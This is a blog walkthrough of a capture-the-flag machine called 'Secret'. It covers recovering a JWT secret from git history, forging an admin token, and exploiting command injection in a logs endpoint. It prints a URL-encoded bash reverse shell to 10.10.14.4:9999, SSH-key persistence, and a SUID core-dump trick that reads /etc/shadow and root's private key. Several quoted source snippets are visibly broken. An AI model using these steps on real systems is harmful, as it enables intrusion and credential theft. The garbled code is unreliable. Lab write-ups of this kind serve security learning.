Secret – Walkthrough

  • Difficulty: Easy
  • Covered topics / techniques / tools
    • Command Injection
    • GitTools

URLs for this post



The site shows us a documentation of an API.

1 You can see it after clicking the "DEMO" button on the top right.


So lets have a look at the docs and register a user. The example looks like this: 3

I used BURP to create these POST requests. I intercepted the click on the demo button and send it to the repeater tab (CRTL – R). Just use the example request and edit it.


Now we can follow the documentation and login on /api/user/login


Great we have a auth-token now. By trying to send a GET request to /api/priv i had to swtich to the CLI because burp won´t show me any response.


Source code

Ok, the token is working and there was no way to get any further. So i downloaded and unzipped the source code.


i grepped through the source to check for some default credentials and found nothing special. But in the routes/private.js i found this

router.get('/priv', verifytoken, (req, res) => {
   // res.send(req.user)

    const userinfo = { name: req.user }

    const name =;
    if (name == 'theadmin'){
                desc : "welcome back admin,"
            role: {
                role: "you are normal user",

router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name =;
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{

To access /priv we need to land as the user "theadmin" and we need a verified token. But we don´t have the secret key yet to do that. After searching through the code i forgot to list for hidden files (now my alias of ll is now ls -lsaf 🙂 ) and there’s is something interesting.

my dirty little secret


The .env should have a secret token but it was removed. the .git is very nice and to pull out all the information out of it we can use ths script "extractor" from GitHub – GitTools. Cloned it and ran the

./ /path/to/loot/local-web/ /path/to/loot/extracted/

Oh boy, it found a lot!


After the script finished we had the following directories.


So i was checking the containing commit notes and ended up with this one.


So let’s get back to the folder before 2-xyz and get that .env file.


Creating JWT

Excellent! With this we can create our verified JWT Token. Let’s try it with our own token at By pasting in our token it shows "invalid signature" but when we put in our gathered key we get is verified!


This is the time where we can forge tokens as we like. I grabbed all data from the documentation page and created a valid JWT token.


I send a GET to /api/priv using curl again.

curl -H 'auth-token: '



Code execution

Move on to the /api/logs from the private.js above. Handing over a file name as an argument smells like command injection! So i tried to execute ‘id’ first time.

curl\;id -H 'auth-token: ' 


Getting Foothold

By confirming code exectution we start our listener and slap that URL encoded reverse shell in there!


bash -c 'exec bash -i &>/dev/tcp/ <&1'



reverse shell

curl\?file=\;bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F10.10.14.4%2F9999%20%3C%261%27 -H 'auth-token: '

Hit enter and we’re on the box!


First thing i did was getting persistance and getting rid of this unstable shell. I placed my public ssh key in the ~/.ssh/authorized_keys file and ssh’d into it.

ssh dasith@ -i 


Grabbed that user flag and moved on with further enumeration

Local enumeration

Before i upload enum scripts like linpeas/winpeas i quickly try some commands like

sudo -l
find / -perm /4000 2>/dev/null

And i was succesfull 🙂 Found the binary ‘count’ with the suid bit set in the /opt/ directory.

The directory contained the binary and the source code written in C.


By executing the binary i verified that is runs with root permissions by reading the /etc/shadow file.


The code shows us one important feature of the binary.

    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");

This means when the content is loaded into the memory we can kill that running process and a memory dump will be created. As a proof of concept we try it with the /etc/shadow file.

dasith@secret:/opt$ ./count -p
Enter source file/directory name: /etc/shadow

Total characters = 1187
Total words      = 36
Total lines      = 36
Save results a file? [y/N]: y #This is were we kill that process from another ssh shell via kill -BUS 
Path: Bus error (core dumped)

After that a crash report was created under /var/crash.


You can extract the data with the following command:

mkdir /tmp/crash/
apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash/

Now use strings to pull out the data you need.

strings /tmp/crash/CoreDump


You can repeat the procedure with the file /root/root.txt but i like to own the machine to its fullest 🙂

dasith@secret:/opt$ ./count -p
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: y #This is were we kill that process from another ssh shell via kill -BUS 
Path: Bus error (core dumped)


nano id_rsa #slap that baby in there
chmod 600 id_rsa
ssh root@ -i id_rsa  


Thanks for reading and cya!

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s